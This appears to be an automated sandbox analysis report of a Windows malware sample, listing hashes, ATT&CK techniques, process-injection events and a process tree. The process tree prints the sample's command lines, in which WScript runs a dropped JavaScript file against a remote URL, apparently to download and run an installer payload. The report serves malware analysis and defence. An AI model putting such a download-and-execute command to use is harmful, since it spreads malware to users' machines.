bc35db19a6bc710852f316c784612413672c8352ded2cbbd4220595cef2f6165

General

Target

ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe
Size

184KB
MD5

ac85ea853a1cb0c96e0fc445d96c6fd5
SHA1

5eaf7897f8260e7f0c21c9d36cc4745edcb69646
SHA256

bc35db19a6bc710852f316c784612413672c8352ded2cbbd4220595cef2f6165
SHA512

272c21d16dff90e13d1e3567d75e329b253874301c2276a177463216cb805030a51105ec7436b01bd0b2a77e9f0f209442b5c1040231022bab2a936305fb5b9d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3l:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2740	4568	WerFault.exe	80

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4568 wrote to memory of 4352	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	81
PID 4568 wrote to memory of 4352	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	81
PID 4568 wrote to memory of 4352	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	81
PID 4568 wrote to memory of 2972	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	88
PID 4568 wrote to memory of 2972	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	88
PID 4568 wrote to memory of 2972	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	88
PID 4568 wrote to memory of 2724	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	94
PID 4568 wrote to memory of 2724	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	94
PID 4568 wrote to memory of 2724	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	94
PID 4568 wrote to memory of 920	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	95
PID 4568 wrote to memory of 920	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	95
PID 4568 wrote to memory of 920	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	95
PID 4568 wrote to memory of 5008	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	96
PID 4568 wrote to memory of 5008	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	96
PID 4568 wrote to memory of 5008	4568	ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe	96

C:\Users\Admin\AppData\Local\Temp\ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ac85ea853a1cb0c96e0fc445d96c6fd5_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4568
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?domain=jqEogQAfBm.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
  2⤵
  PID:4352
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?domain=jqEogQAfBm.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
  2⤵
  PID:2972
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?domain=jqEogQAfBm.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
  2⤵
  PID:2724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?domain=jqEogQAfBm.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
  2⤵
  PID:920
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?domain=jqEogQAfBm.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
  2⤵
  PID:5008
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 1452
  2⤵
  - Program crash
  PID:2740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4568 -ip 4568
1⤵
PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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